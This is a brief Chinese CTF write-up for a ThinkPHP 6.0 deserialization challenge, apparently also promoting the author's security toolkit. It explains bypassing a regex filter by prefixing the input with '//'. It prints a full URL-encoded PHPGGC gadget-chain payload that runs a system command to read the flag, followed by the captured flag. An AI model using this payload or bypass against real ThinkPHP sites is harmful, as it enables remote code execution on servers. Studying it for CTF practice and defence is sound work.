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作者:随波逐流



打开 [随波逐流]WEB安全工具访问

随波逐流WEB安全工具--工具--目录深度扫描

核心代码在app/controller/Index.php:

随波逐流WEB安全工具--工具--代码安全审计

1、环境:ThinkPHP 6.0.X + PHP 7.2.25;
2、漏洞点:unserialize($payload),
3、preg_match("/^O/i",$value),过滤“以O开头的参数值”;
4、绕过思路:在Payload前加//(PHP注释符),让正则匹配不到^O;
用PHPGGC生成ThinkPHP 6.0的RCE Payload
随波逐流WEB安全工具--工具--PHP反序列化

O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D///public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat%20%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D
CTF2{6f943d22-c2b1-4cbf-930a-175c4f9f1859}

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软件发布网址: 随波逐流信息安全网
http://www.1o1o.xyz
微信公众号:长弓三皮
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